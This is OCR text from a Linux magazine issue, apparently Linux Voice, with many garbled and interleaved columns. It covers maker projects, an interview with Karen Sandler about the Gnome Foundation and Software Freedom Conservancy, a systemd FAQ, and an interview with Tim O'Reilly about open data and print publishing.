will restrict how you can breathe, walk and move, — but it was possible for me to make the dress using e@ee0e@ 
in the same way that their living space becomes he Arduino.” 0000 @' 
uncomfortable” Manu's project is an analogy and a DAY 
political statement for the people that he spoke to, Do it yourself eeecee 
and it's powered by an Arduino running a random f any of these projects have sparked a fire of creativity 006 @ @ | 
number generator sketch. “The Arduino is connected inside of you, good! Go forth and build great things! e@eeee@ 
o three winches attached to the dress. Each winch Websites such as instructables.com and hackaday. ©0000 
can be controlled to make the dress tighter o com contain tutorials and inspiring projects from wana 
ooser depending on the random number that has makers across the globe. There are also events such eeeee 
been generated. It works slowly but it is constantly as Pi Wars (piwars.org), which will pit devices against e@@e@e@ @' 
changing based on the random numbers generated”. —_— each other in a sort of robot Olympics. Oggcamp ee0e00@ 
| ask Manu if he has thought of any commercial (Oggcamp.org), the popular unconference, also sees ©0000 0' 
applications for his project. “It is not the intended its fair share of hackers and makers. eaieaar 
purpose, but it has crossed my mind. A jacket that There are many online retailers for the maker eeeee@ 
community, including Pimoroni.com, adafruit.com, @@@@ @' 
4tronix.co.uk and store.ryanteck.uk.Go forth and ©0000 
build wondrous things, mash data with electronics ©0006! 
and produce banana keyboards using ShrimpKey, ooae 
traffic lights with Pibrella or an internet-connected eeeee@ 
coffee mug. And make sure that you tell Linux Voice @@@e@ @ | 
all about your inventions! ®0ee0@ 
waren . 
We love you all ©8000 @' 
©0000 
Many thanks to the makers, volunteers and attendees of 00006 @' 
Manchester Mini Maker Faire, who each year put on a free @®00ee0@ 
Maker Faire for everyone to enjoy, and special thanks to the ©0006 
The Project-A-Sketch uses an Arduino to project lines on Museune ill tl Mes?) for pronieina aaa 
7 : astonishing location full of excellent inventions. 
the screen. And yes, you can shake it to wipe the screen... eee@e@ 
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With the Gnome desktop now going from strength to strength, the 
role of the Foundation has never been more important. 


ver the last 12 months, a lot has changed for Board of Directors. Which actually was a real 
both the Gnome desktop and the Foundation — departure for me because | have been refusing to 


that supports it. There were reports of serve on boards of directors for all of this time” 
financial difficulty, and the continuing struggle to bring 
the new desktop up to functional parity with the Duty of care 
previous desktop. But the Gnome team is winning the — “Maybe as a lawyer I'm more aware of the obligations 
war. The latest releases have been well received and that Directors have towards their organisations,’ she 
Gnome has just become the default desktop for said, “There's a duty of care and a duty of loyalty, and | 
Debian, a sure sign that its usability and functionality think as a lawyer you potentially must hold yourself to 
problems are in the past. The Foundation itself has a higher standard of care and read all the documents 
been able to improve its financial situation, while a and be very involved because you need to make sure 
the same time helping lots of other projects beside you understand. You and your fellow directors are 
the Gnome desktop we all love. We caught up with running the organisation, making all the decisions and 
Karen Sandler, a member of Gnome's board of you have to be responsible in the instance things go 
directors, to find out where it all went right. terribly wrong.” 

This time last year, Karen was at the helm as She also told us that she'd rather volunteer for the 
Executive Director of the Gnome Foundation, having organisations she wants to help, than take on titles, 
taken up the role in 2011. ————————————— but it was Gnome itself 
After she stepped down a 1 I that made all the 
as Executive Director she Gnome Isa fantastic product difference. 
put herself forward in the and an amazing community, “| made a real 
elections to the board of din! " exception with the 
directors, and was elected and | didn t want to leave. Gnome Board of 
to the board of seven with Directors. It was a little 
the most votes in the contest — a real affirmation of easier because | was recently the Executive Director 
her leadership during what must have been some of so I'm very familiar with where things are with the 
the most challenging years at Gnome. foundation but I'd been joking all of the time while | 

So why give up one role only to take another? “| was at Gnome that if | felt like the Gnome project was 
think Gnome is a fantastic program and an amazing going in the right direction then | would leave, so | 
community and | didn’t really want to leave” Karen wanted to make sure that people knew | was leaving 
tells us. “So when | left, | announced I'd go for the because It was going in the right direction, so the best 
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way to signal this was to join the board of directors.” 

This is where it became evident that a lot of people 
really like Gnome, as eleven candidates put 
themselves forwards for the seven Director positions, 
all with different experience and qualifications. 

“| had a moment where there was a hotly contested 
vote — there were 10 candidates and people tend to 
not throw their hat in the ring if they don't feel they 
were good candidates, but for various reasons we had 
all great candidates and several people were not 
elected Karen admitted before telling us she felt 
people understood what she was trying to do when 
she was voted into the role. 

Both new roles effectively mean is that Karen is 
swapping her day job for her volunteer position at the 
Freedom Software Conservancy, and swapping her 
previous role as the Executive Director at the Gnome 
Foundation for her voluntary work. 

“With Gnome | just have the hours to put in as | did 
before. But a lot of it is still the same — I'm still doing a 
lot of the same things | was doing before, but | wish | 
had more time to do even more” she said. 


Cashflow crisis 
Karen quit as Executive Departure just before the 
Foundation had a widely publicised financial crisis, so 
we were interested to know whether she thought 
Gnome was now ina better place than it was 12 
months ago. She did say that she thought latest 
release of Gnome (version 3.12 at the time) was 
fantastic, and that it was much more polished than 
early 3.x versions. But using the openness typical of 
the Gnome Foundation, she also admitted they'd been 
taking a close look at their organisation. 
“There was some discussion about how much 
control Red Hat has over the project and so forth,’ 
Karen told us. “There's been a lot of really good hard 
looking at where Gnome is and where it's going as 
part of the election process. At the same time it's 
tough for me to be drawing attention to some of the 


Rumours of Gnome's 
financial demise were 
greatly exaggerated. 


One of the many things the 
Gnome Foundation does is 
sponsor the annual Gnome 
conference, GUADEC 
(Photo: KittyKat3756 CC- 
BY-SA) 


negative things straight away, but the Outreach 
Program for Women has grown so much that it was 
tough for the Gnome Foundation to keep up 
administratively — invoicing and all of the 
administrative work. At the same time, there was a 
cashflow crisis right after | left and so that caused a 
lot of attention and so it's great that people are really 
paying attention to what's going on.” 

The online coverage of Gnome's cashflow crisis 
focused on the Outreach Program for Women, rather 
than that the Gnome Foundation was simply being 
honest about tts difficulties, or that those difficulties 
were caused by the burden of helping a successful 
project, rather than bad management. We asked 
whether the Outreach Program should be funded by 
the Gnome Foundation, only to find out that it isn’t 
— it's only helped administratively. 

“It's not quite funded by the Gnome Foundation. It's 
run by the Gnome Foundation and we hit up a lot of 
sponsors, so if anyone knows of a company who 
wants to help support bringing more women into Free 
Software, contact me” Karen told us, before going into 
more detail of how the two are organised. 

“Gnome handles all of the administration of the 
program but we get external sponsors to fund most of 
the financials. We charge an administrative fee but it 
doesn't cover all of the work that we have to do, so we 
are paying out of our general 
funding to keep it going buta 4 
ot of sponsors are more 
interested in sponsoring 
interns in the Linux Kernel, or 
multimedia, or whatever It is 
hat they're interested in. A 
ot of the money coming 
hrough for the program is not necessarily meant for 
Gnome but we're still dedicated to running the 
program. But it was so successful for Gnome projects 
hat we couldn't just keep it for Gnome, we had to 
share it. It's worked out really, really well and other 
projects have started to see the same successes that 
we've seen at Gnome.” 


There was some discussion 
about how much control Red 
Hat has over the project.” 
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After a time in the 
wilderness, Gnome has 
now been re-adopted 

as the default desktop 

in Debian — something 
that will no doubt trickle 
down to many of Debian’s 
derivative distros. 
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Calculator 


“It really says alot about Gnome’ Karen said about 
the way the Gnome Foundation handled the situation, 
“it's the kind of project that will announce when it's 
having a cashflow problem. | knew of a few other 
non-profits that were in such bad cash flow that the 
non-profits had been in debt. And that was never 
announced — in debt with no invoices with no cash 
set to come in and they had not announced it. It's 
quite common for non-profits to have cashflow 
problems. Gnome is the only one | know of that 
announced it. | think that's really awesome and | think 
it's unfortunate because people sometimes 
misinterpret that. And no offence [none taken], but the 
tech press is famous for not covering the whole story, 
for better reading.” 

“The Outreach Program is inspired by Google's 
Summer of Code except that we accept non-coders 
and non-students,” she told us, “Not only do we have 
projects to develop the Free Software projects, but we 
also have marketing and documentation and art and 
UI, and things like that — everything, all of the different 
areas where we need to contribute to Free Software 
we call for participation, but we have a lot of coding 
internships too.” 


Not just for coders 
Obviously, only asking women to apply is also a big 
difference to Summer of Code. “Women often think 
that Free Software is not for them,’ Karen explained, 
“so by specifically inviting them, with the Outreach 
Program for Women, we try to think about all of the 
reasons why women were staying away from Free 
Software. We systematically tried to address them all 
— instead of trying to figure out what it is, what do we 
have to do so that we can completely overcome them, 
or overcome them as much as possible.” 

“Because of the fact there aren't that many women 
in our field, it means that women coming in are much 
more likely to feel ‘Impostor Syndrome’, because they 
don't see leaders that are like them.” 

The Program been a huge success, and more 
importantly, it's brought more contributors to the 


) 


Pan eB 


Character Map Dictionary Disks Document Vi... 


le) a S 


Logs Passwords a... 


= 


Ba 


X-GNOME-U... 


Frequent 


www.linuxvoice.com 


FREE & OPEN SOURCE SOFTWARE 
Outreach Program for Women Internships 
organized by the GNOME Foundation 
LOOKING FOR AN INTERNSHIP 
DEC 201% - MAR 2015? 


MAKE A DIFFERENCE! 
Support software freedom! 


$5500 


STIPEND (USD) 


GNOME.ORG/OPW 
LEARN MORE 
& APPLY! 


DEC 9 - MAR 9 
PROGRAM DATES 


OCT 22 


APPLICATION 
DEADLINE 


FREE & OPEN SOURCE ORGANIZATIONS THAT PARTICIPATED IN THE PAST INCLUDE: 


fa. ® Linux, a , Mozilla 


‘SEcNome™ fedoro® 


felt 


Use your skills in programming, design, documentation, 
or marketing, working with an experienced mentor. 


Work remotely from home while collaborating within 
a world-wide free & open source software community! 


The new Outreach Program runs from December 2014 
through to March 2015. 


Gnome project and brought more contributors and 
participants into the world of Free Software, which is 
vital, as Karen explains. 

“We found at Gnome that bringing more women 
through the Outreach Program for Women meant that 
there are other women who had not been participants 
of the program who felt more comfortable coming to 
participate in Gnome, so it increased our numbers. 


Bigger than Gnome 

“We also have a much better rate of women sticking 
around after their internship. You can't expect every 
women to stick around after their internship — it's not 
fair, but what's exciting is that they're having such a 
good experience and they want to continue to 
contribute and they want to continue to participate.” 

And as proof that there's wide impact from the 
program that just within Gnome, Karen explained that 
i's helping candidates really get embedded within the 
Free Software world. 

“Something like 90% of participants have given talks 
at Free Software conferences —19 participants from 
our program have given full session talks who have 
become speakers. One of our participants became 
a mentor — she was in user-interface design, she 
became a mentor and then the intern she mentored 
became a mentor, so she’s a grand mentor! One of 
the members of the Gnome Board of Directors went 
through OPW and she's now our treasurer and doing 
amazing work in helping to fix the cashflow problem 
we had at OPW. Three alumni have founded programs 
in their local area to improve the situation for women 
in tech. So there's now a group in Chicago hacking on 
Gnome, there's the Nairobi Deaf School, and there's a 
Women in Software in India group as well.” 
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Software Freedom Conservancy AP 


What to do if your project needs a lawyer but can't afford 
one — find a bunch of friends who know what they're doing... 


aren is incredibly enthusiastic about her new 
K= and when you talk to her about it, you 

can't help but realise how important a role the 
Conservancy has played in Free Software. 

“The Conservancy is phenomenal because it's like 

the Outreach Program for Women where one 
organisation is serving lots of different projects,’ Karen 
explains. “It's analogous to a company where you 
have different corporate divisions so each project is a 
part of our overall organisation and we provide all of 
the infrastructure — whatever these projects need in 
order to run. We have their infrastructure, we handle 


Software freedom 
conservancy 


finances. It's great because we only have to file one 
tax form at the end of the year for all of the projects. 
We have a general counsel, so we have legal support. We shared a lager with 
We do all kinds of things and then were also exploring the Conservancy can do. So I'm really proud about it Karen at 2014's OSCON. 
different projects that are trying to solve different and |'m really pleased to be part of the Conservancy 
problems in the world for the public good.” because there's just So much to be done and we're 
But of course, the Conservancy always needs working around the clock.” 
funding. “We're putting legal infrastructures in place, 


like trademarks and things like that that will help our Charity vs Trade 
projects, if we have stable legal foundation. Alot of my — At the end of our conversation, Karen talked about 


time is spent fundraising — please donate to the something we think is very important, and that's the 
Software Freedom Conservancy, readers!” distinction between charities, such as the Gnome 
Karen also has one specific example of a problem Foundation and the Software Freedom Conservancy, 
we'd have thought would have been solved long ago, and trade associations, such as The Linux 
by acompany that now must be making a fortune. Foundation. Fortunately, as a lawyer, Karen is able to 
“We noticed from our own experience that there describe this distinction more effectively than we can. 
aren't any good Free Software solutions for “A trade association is meant to forward a common 
accounting,’ Karen said. “We asked our accountant business interest, not the interest of the public. A 
what the situation was for proprietary software charity is meant to forward the interests of the public. 
solutions, and it turns out they're all crummy — there And that's why the Linux Foundation looks very 
aren't any good solutions and non-profits pay millions polished — it has great marketing and great branding, 
of dollars per year for sub-par software. So we've and it's a way to get particular kinds of money into 
launched a project called NPO Accounting Project. your project because it's a trade association. But you 
We're starting to create a piece of software that solves — give up something at the same time. 
the problem and solves it the right way with Free “At the Conservancy, there's a lot of transparency 
Software for everyone, so this is the kind of thing that and it's about neutral control and public benefit, so a 


project at the Conservancy is making a real statement 
about its intention. We hold 


the assets of a project and “At the Conservancy, there’s 


so the Conservancy takes in 


the trademarks of a project, @ lot of transparency = It's 
which means it can never be I " 

abused by any one company. about public benefit. 

“If you join the Software 

Freedom Conservancy then you're saying something 

about how intend to run your project. And it says that 

you will never let a company take over control of who 

you are and what you do, and | think that's very 


The Conservancy received $90,0000 in damages from important and | think that companies actually 
electronics vendors using BusyBox and not releasing their appreciate that. It means that they will have a neutral 
source code. playing field with other companies as well” @ 


www.linuxvoice.com 37 


V FAQ SYSTEMD 


SYSTEMD 


It's complicated but it's probably already booting your computer. 


GRAHAM MORRISON 


Surely the ‘d’ in Systemd is 

a typo? 

No —it's a form of Unix notation 
used to signify a daemon. 


You mean like those little 

devils inhabiting Dante's 
underworld? 

There is a link in that Unix usage 

of the term daemon supposedly 
comes from Greek mythology, where 
daemons invisibly wove their magic 
and benign influence. The word is today 
more commonly spelt ‘demon’, which 
leaves the archaic form to us. And 
that's perhaps why it’s been subverted 
for software that silently weaves its 
benign influence over your system. 


Does this mean that, for 

ordinary users, Unix daemons 
are an archaic idea? 

Not at all. Daemons are essential 

for performing many essential 
background tasks. They could be 
likened to your brain doing many things 
while you're driving a car, without you 
having to consciously think about them 
all. And there are lots of daemons you 
may already be aware of. Crond, for 
example, is used to run scripts at a 
specific time or interval. dhcpd is used 
by most of our computers to 
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dynamically connect to your network, 
while sys/ogd pools all the system 
messages together to create a log of 
everything important. Another daemon, 
though it lacks the ‘d’, is init - farmous 
for being the first process that runs on 
your system. 


Isn't init used to switch 

between the command-line 
and the graphical desktop? 

For many of us, yes. This was the 

main way of going from the 
desktop to a command line and bac’ 
again without trying to figure out which 
processes to kill or start manually. 
Typing init 3 would typically close any 
graphical environment you had running, 
kill the X server and drop you to a 
simple login prompt. This is because 
the init command knew where to find a 
group of scripts that were created for 
switching between different operating 
environments. These were called 
‘runlevels' and in the old days of 
System-V Unix they could be used to 
tell your system to boot into single-user 
mode, multi-user mode as well as 
shutdown and reboot. This whole 
system is often abbreviated to ‘SysV 
init’, and it's this we mean when we 
refer to ‘init’. 

Many Linux distributions inherited the 

same system, even if they didn’t use the 
same runlevels. Debian, for example, 
used a runlevel of 0 to stop the system, 
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arunlevel of 1 for a single-user mode, 
runlevel 3 for the same command 
prompt we described earlier, and 
runlevel 5 to launch a graphical 
environment. Changing this for your 
next boot often involved editing the 
/etc/inittab file, and you'd soon get 
used to manually starting and stopping 
your own services simply by executing 
the scripts you found. 


You seem to be using the past 

tense for all this talk about the 
init daemon... 

That's because the 

aforementioned Systemd wants 
to put init in the past. Systemd is 
basically a replacement for all those 
scripts launched by the init process, 
and a replacement for init itself. But as 
the name suggests, it's got lofty 
ambitions for being the ‘system 
daemon’, and has the potential to 
handle far more than starting and 
stopping your system. And in replacing 
a few scripts, it's needed to come up 
with a completely different mechanism 
for handling boot processes. 


What was so bad with ‘init’ that 

it needed replacing? 

Init was a product of its time. 

Everything that needed to be 
managed or launched did so from its 
own set of scripts, keeping things 
relatively simple in concept. Those 


scripts called upon whatever utilities 
were needed and installed within your 
system, and it also meant that almost 
anyone could tweak the scripts to get 
their boot process doing exactly what 
they wanted. It was an extension of the 
old Unix philosophy of small, simple 
tools being used in preference to 
complex, over-engineered solutions. 
The command line is a perfect example 
of this philosophy, because while you 
can build very complex solutions within 
its confines, most of the commands 


“Systemd launches processes 
in parallel and avoids the 
bottlenecks that blight init. 


you execute perform only a simple task. 
I's the modularity of these commands, 
and the control you have over 
managing their input and output, that 
creates the flexibility we all love. init 
does this too. 
But init has suffered in several ways. 
First, because it's so easy to modify and 
has no formal system of 
standardisation, almost every family of 
Linux distribution tweaked it in some 
way. Red Hat moved files into /etc/ 
re.d/init.d, for example, and that meant 
that while installing the same start 
process should be straightforward, it 
wasn't. You had to take into account all 
these changes. And as booting 
requirements became ever more 
complicated, maintaining all these 
scripts and their positions within the 
boot procedure became very difficult, 
making things harder for developers, 
users and system administrators when 
they used more than one distribution. 


That sounds more like an 

organisational problem than a 
technical one. Surely there's another 
reason to replace init? 

Indeed there is, and it's our old 

friend performance. The world 
was becoming obsessed with boot 
times — despite most of us only having 
to go through the procedure maybe 
once a day, or that for servers it's a 
non-issue. But for a while boot times 
became the machismo statistic of an 
operating system's vitality. init is 
fundamentally sequential. That means 
it waits for one task to finish before it 


attempts another, and it doesn't take 
much to imagine the delays this could 
cause in the boot process. Your boot 
procedure could spend ages waiting for 
a network connection, even if you didn't 
need one, or waiting for an unrelated 
hard disk to be scanned. These are 
both functions better suited to being 
run in parallel, but this introduces 
problems familiar to anyone who's had 
to deal with concurrency or forking 
processes; you need to know which 
processes are dependent on which 
other processes. A Samba process that 
needed to access remote files would be 
dependent on the networking process, 
for example, and calculating the 
relationship between all the things that 
make a running system is difficult. 

But as new computers have become 
faster and multi-cored, more and more 
of these resources were being under- 
utilised by init, and many people 
thought it was time for an alternative. 


Aha! The appearance of 

Systemd! 
A | Exactly. Although Systemd wasn't 

he only contender in the fight to 

replace init. Ubuntu had switched to its 
own alternative, called Upstart, and for a 
while it looked like many other 
distributions would do the same. Red 
Hat, Fedora and OpenSUSE all used 
Upstart at various times in the past, and 
it had the huge advantage of being 
backward compatible with init while 
addressing some of its shortcomings. 


You seem to be using the past 

tense again. 

The end of Upstart came with a 

very public and contentious 
debate, as Debian decided how to 
replace init. Upstart and Systemd were 
the two favourites, and the Debian 
Technical Committee eventually voted 
for Systemd. In a humble blog post, 
Mark Shuttleworth announced that 
Ubuntu would be dropping Upstart in 
favour of Systemd after committing 
itself to whatever its upstream partner 
(Debian)decided. These events have led 
us to the point where Systemd is now 
considered the default booting daemon. 


So what makes Systemd better 
than init or Upstart? 

During the great Debian debate, 
the infrastructure team behind 
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the music streaming service Spotify 
offered support for Systemd after 
saying “We have some 5,000 physical 
servers and well over a thousand virtual 
servers using both public and private 
clouds running Debian GNU/Linux 
serving millions of songs to our users 
every day.” Their arguments for Systemd 
encapsulate the reasons many people 
think Systemd is the way forward: 
B® Its dependency model is easier to 
understand than Upstart’s. 
® Features built on top of Systemd are 
very useful. 
B® Systemd has the stronger community 
momentum. 

Additionally, Systemd launches 
processes in parallel and avoids the 
bottlenecks that blight init. It does this 
by using sockets for services so that 
daemons can talk to each other and 
manages those sockets on behalf of 
daemons that haven't started yet. It's a 
clever idea. 


Are there any disadvantages to 

distros adopting Systemd? 

The main problem is that 

Systemd is different, and breaks 
the simple tool Unix tradition. It's a huge 
and comprehensive project, and this 
has caused friction when people have 
to learn both a new system and throw 
away hard-earned skills. 

It's also complex and, some argue, 
over engineered for its purpose. 
Perhaps more importantly, it’s Linux- 
only. But — and this is the important 
point — Systemd has been proven to 
work, and it works well enough that 
many distributions have already moved 
to Systemd. Significantly, the Gnome 
team have announced it will become a 
dependency for installing the latest 
versions of their desktop environment, 
entrenching the technology deeper into 
our operating systems. 


Where can we find more 

details about how to use it? 

Not completely by coincidence, 

our very own Mike Saunders is 
currently working on a tutorial that 
should answer all your practical 
questions in our next issue, including 
how to create and modify boot 
processes, in the way you may already 
be used to from init, and how to use 
many of those weird Systemd tools that 
are now part of your distribution. @ 
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OPEN SOURCE 
AND THE FUTURE 
OF PRINT IN THE 
AGE OF THE 
SOCIAL NETWORK 


Graham Morrison meets Free Software, internet 
and publishing visionary, Tim O'Reilly 


here are many memorable 
quotes attributed to Tim 
O'Reilly. Which isn’t surprising. 


He’s been talking for decades about 
open data, the internet and the 
direction technology is taking us. Like 
Arthur C Clarke, much of what he’s 
predicted, talked about and written 
has proven incredibly judicious. 

He popularised the ideas behind 
‘Web 2.0’, as well as the incoming 
wave and impact of social media. 

He believes in an open government 


Now that free software has 

effectively won the war, is it 
still important for us to evangelise 
open source as much as it was a few 
years ago? 
Tim O’Reilly: There's definitely still an 
open imperative. Open data is obviously 
a big area. We have a huge amount of 
our data locked up in these proprietary 
social networks, and that stuff is 
important. Google is pretty good about 
letting you get it out, but it's not really 
portable. The number of hoops you 
have to go through if you want to get 
stuff — you have to download it, you 
have to re-upload it. And they are the 
best at this. 


And your downloaded data is 
now out of context. 
TO'R: That's right. And there are a lot of 
other areas where useful services will 
require data. The Blue Button [the 
system used by patients in the USA to 
gain access to their medical records] is 
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and that the internet will become a 
global brain of networks and things. 
At the same time, his publishing 
company has given us many of 

the (DRM free) titles we all rely and 
learn from, while championing open 
source and open data. But there’s 
one quote in particular that resonates 
with us here at Linux Voice. It was 
partly responsible for the inception of 
the magazine, and it’s one we think 


encapsulates the spirit of open source: 


“Create more value than you capture.” 


a good example — portable health 
ecords. Being locked in is just as real in 
he internet era as it was in the previous 
software era. It's just that the source of 
he lock-in is no longer binaries and 
software APIs. It's much more about 

he data that goes with the service. 

But we still have to really think about 
how open data is more useful in the 
same way that open source was more 
useful. It's pretty clear when | go toa 
doctor's office (and again this is aUS 
perspective) but if my data is locked up 
with one provider, I’m really hosed. 
Because if I've got to go to a different 
doctor, and they can't get my records, 
hat's a problem. And so that's one of 
he reasons why Federal Government 
has had this idea of what they call 
“Meaningful Use”, which gave a huge 
incentive for physicians and hospitals 
and insurance companies to adop 
portable health records because they 
see that as so important. We have a 
similar kind of opportunity in the area of 
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certain financial data, we have that with 
our browsing history — that would be 
really useful. Some examples are more 
critical than others, but | think people 
need to make the case, “Wow, this 
would be more useful if it were portable 
or if it were a standard.” 


Open medical records sounds 
good, but how can we take 
advantage of big data without 
putting our privacy at risk? 
TO’R: Healthcare is one of the areas 
where open data will potentially take off 
soonest and have the biggest impact. 


TIM O'REILLY INTERVIEW 


“Being locked in is just as real 
in the internet era as it was in 
the previous software era. 


But there are a couple of overlapping life’? In order to do that you're going to own hardware. 
ideas; one is of interoperability, which is — have to have some kind of interoperable | TO’R: Really? It seems to me it's not 
different than ‘open source’. With the standards. Going back to health, the that dissimilar. You get the source code 
internet of things, are we going tohave — same thing is true with all these sorts of — for a program, you'd have to port it to 
to have a separate app for every car, for quantified self devices. If we want to your architecture or you'd have to 
every thermostat? Or are we going to have, from a user point of view, access rewrite it so it would run on your 
say, “No, no, there's some general app from multiple devices, you don't want to — machine versus, Say, sitting there and 
whereby | can control the things in my be locked into one company's saying, “| want to get my data off of 
ecosystem. We're going to get there Fitbit and into my new ‘Google Fit' so | 
— = with some kind of open data standard. have the historical data.” | don't see that 
ai . : 
Healthcare is one of the areas as that different 
But it’s harder now for 
where open data will potentially W M8 potential ‘big data’ hackers, [aa But with social networks, we've 
have the biggest impact. han for the original open source Ly still got the problem that the 
Sea eee eee hackers when they subverted their context has been lost. 
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O'Reilly Mediaisn't justa= 
publishing company — it also 
puts on the massively popular 
OSCON conference-_—— 


TO’R: There have always been the two 
sides of open source. One was that it 
was open, the other that it was free. 
And before the era of the cloud, one of 
the big imperatives was that things be 
made open source because that way 
you get them for free. But it's not true in 
the cloud era, because so many of the 
services are free already, and 
proprietary. It used to be the case that 
free and open went together, and 
expensive and proprietary went 
together. Now proprietary and free, as in 
price, are overlapping. 
have to say, though, | worry about 
some element of this discussion 
because it looks back to this idea that 
somehow in the old days it was all good 
and now tt's bad, and | don't think it's 
bad and | don’t think that there's any 
reason to say, “Oh well, we need to go 
recreate the way it was in the past.” 

What are the problems that people 
have today with the way technology 
works? If you look at the Indie Web 
Movement, it's a lot around “OK, we 
want to go back to the day when we 
were in control of our own data.” And 
that's useful but at the same time you 
have to say: “Look at all these people 
who are choosing to use these services 
because it works for them." I've never 
been that fond of, you know, “Though 
shalt!” as a driver for any of this. 
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To me, sharing is very real part of 
many important parts of the future. 

Look at how the internet of things is 
going forward, and robotics. There's a 
lot of open source there in areas where 
people are trying to figure things out, 
where there isn't a very clear profit 
motive. They're kind of going, “Hey, let 
me put my stuff out there. Let me show 
you how to do this thing.” 


[aa SO you're mostly optimistic? 
Ly TO'R: | just feel like, “My gosh”, 
you know, the entire maker revolution 
powered by Arduino and then follow-on 
kinds of products — open source 
hardware. That's kind of awesome and 
that's just naturally became the driver 
of this next generation. 


[aa Do you think everyone should 

Ly be able to code? 
TO’R: No. | do think everyone should be 
able to think computationally in some 
way. | think that first of all, | guess, 
there's coding and there's coding. 

Should everybody be a professional 

coder? No way. Should everybody be 
able to do more than just use a GUI? 
Absolutely. Should people be able to 
automate operations of a computer? 
Absolutely. And should people be 
familiar with the power tools relating to 
our robot companions? Absolutely. 
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There are a lot of ways to get to it. 
When you build general-purpose tools 
that have open interfaces, people will 
learn to program because that's how 
you get more power over the system. 
There are kids programming in Scala 
today because that's how you build shit 
on Minecraft! 


Sea And they're using Eclipse! 
Ly TO'R: That's right. So because 
you have an environment where 
programming gives you power, you 
learn to program. We need to build 
environments where people want to 
program because that's how you get 
good at doing whatever it is that you 
want to do. 


ea Maybe coding isn’t so much of 

Ly a thing. It's more about giving 
people the ability to change the 
technology they're using? 
TO’R: | think it goes back to the Make 
magazine slogan, “If you can't open it, 
you don't own it.” There's sort of a 
programming analog. But | do think that 
the notion that everyone should learn to 
code feels a little bit, | guess, like when 
there was a period when kids were 
subjected to piano lessons. Because 
everybody should learn to play some 
music — and we got a lot of people who 
come out hating music. And | think it's 
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much better to say how do we create a 


world in which 
and kids want 
make it some 


imperative. It's the same thing with 
math. Should every kid know math? 


Absolutely. Bu 
forced to learn 
taught piano? 


they taught it wrong. 
The way that you 


really want to 


coding is fun, exciting, 
to do it, rather than just 
kind of educational 


should every kid be 
math the way they 
Absolutely not, because 


earn math, if you 
each it right — you 


“When you find something 


cool and you wa 


you're drawn into the learning. 


nt to do it, 


expose kids to things where they need 


to know math 


because they're better at 


it when they know math, and they're 


going, “Wow, | 
super power! 
that kind of sh 
why some of 
great because 
If you know th 


discovered this secret 


f you used this formula...” 


it is like magic and that's 
he maker stuff is really 

it gets kids going “Wow!” 
is secret formula you can 


figure out how to build this thing better 


— just like ach 


eat in Minecraft. Or if 


you're building something. | remember 


when | started 
was like, “Oh, t 


renovating a house, | 
hat's what some of this 


trigonometry stuff is for!” | just never 
had any application for it. 


There are a 


ot of things that you 


want to learn more generally but even 


During our Indiegogo campaign, 
Tim O'Reilly retweeted our initial 
announcement to his 1.8 million 
followers. 


though you don't have immediate use 
for it, but | feel that in general, our 
educational system is way too long on 
alist of requirements and way too short 
on the kinds of things that make you 
want to learn. 


That's why the Raspberry Pi 

has become so successful. And 
perhaps what the Raspberry Pi 
Foundation didn’t anticipate was 
that so many people would just find 
the device so cool to play with. 
TO’R: When you find something cool 
and you want to do it, you're drawn into 
the learning. One of my daughters was 
never interested in programming, never 
interested in what | did. She got into 
music and now she's taught herself to 
program [Cycling74's] Max because 
she's like, “Oh, | need to be able to make 
these sound effects.” She found her 
way in through something she wanted 
to do. 

Dale Dougherty, who started Make 

and worked with me for along time at 
O'Reilly before we spun it out into 
Maker Media, had this great line: “What 
can you do with what you know?” And 
that kind of notion of helping people 
figure out what they want to do that 
gets them excited and then what they 
need to learn in order to be able to do 
those sorts of things, is the really 
critical thing. How would we expose 
more kids to interesting problems 
where coding is the answer? 
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If we could change the subject 

slightly... [PREGNANT PAUSE] 
is print dead? 
TO’R: No, but it's trending that way! 
There's still a market that really values 
something in print, and it might be for 
the convenience of paper. | can read the 
New York Times online but | still get the 
Sunday New York Times because it's fun 
to sit there with a coffee and leaf 
through it. It's a better experience. Bu 
from my own business, there's a lot of 
evidence that people when offered print 
or digital, they'll choose digital. We offer 
our books in print and the bulk of our 
print books are still sold through retai 
channels. | would guess that overall 
we're maybe selling 50/50 at this point, 
but print is almost all through retail 
channels. When people are buying 
direct from oreilly.com, it's 90% digital 
and 10% print. 


We've found that many people 

who spend all day ona 
computer may be reluctant to spend 
their spare time looking at a screen. 
TO’R: I'm wrestling with this myself. | 
read a lot ona 7-inch tablet. | use the 
Kindle app, and in general | find it fine. 
But | do think it's one more electronic 
device that I'm using at night. You're 
trying to wind down, does it have the 
same effect? And when | do read print 
again, | think, “Oh yeah, that was really 
nice.” So | think we're probably going to 
have a bit of a pendulum swing, and 
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Sorry Tim: Linux Voice issue 5 
is all sold out! 


certainly there's evidence from 
publishing in general that print is not 
dead. There's a new equilibrium, and we 
haven't found where it is yet. 


And some new potential... 

TO'R: There's no question that 
the cost structures of digital are 
actually better than the cost structures 
of print, and so it's better for publishers. 


Do you think the problem of 

digital editions has been 
solved yet? Have people tried too 
hard to recreate a book or magazine 
experience on digital platforms? 
TO’R: Oh absolutely. | find digita 
editions of magazines completely 
uninteresting. I've never been a huge 
magazine reader, but | don’t know why 
I'd want to use a digital edition of a 
magazine rather than reading stuff on 
the web. You know, if I've got to be ona 
computer to look at this thing, just give 
me the goddam article in web format. 
Don't make me go through something 
that's a worse experience to reproduce 
than print because it doesn't have any 


4a 


of thec 


attractive, 


it in the 
of simu 
you can 
way. An 


't riffle through | 
d| find most of 


pretty ir 
I've a 


up alo 
increas 


probably 


itating. 

ways loved boo 
10,000 books 
of space. And | 


hat | rea 


not 


an afte 


book, do you want 


marke 


ngly want nowadays 
here's a book 
have a print copy of it. And if 
it, I'm glad 
space. So it's really, tom 
— of do you love this 
oge 


o have tt 


acteristics that make print 
ike the ability to 
same way. Yeah, you can kind 
ate the flipping of pages but 


eaf through 


in the same 
hose programs 


s (I have 

and they take 
nd that what | 
is that if 

y love, | like to 
didn't love 
ake up the 
e, a question of 


a print copy? 


Or buying the vinyl when 
listening to the digital version? 


TO'R: | th 


hrough 
certain 
And if it 
oved, | 


cover Is 


editions. 


here's 


| have fi 


ink about the books I've kept 
my life and if it was below a 
hreshold, I'd just get rid of it. 
was up here, a book | really 
have 10 copies in different 

st editions and the 
different, whatever. And then 


hat middle range where it was 
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good enough that | didn't want to throw 
it away, but not in that upper echelon, 
and | look at those now and think | 
would much rather have read those in 
digital and not have them cluttering up 
my house, and have a smaller set of 
things | really love. 

The thing that | probably miss mos 
about print, and we have yet to really 
reproduce, is the carpet of memory that 
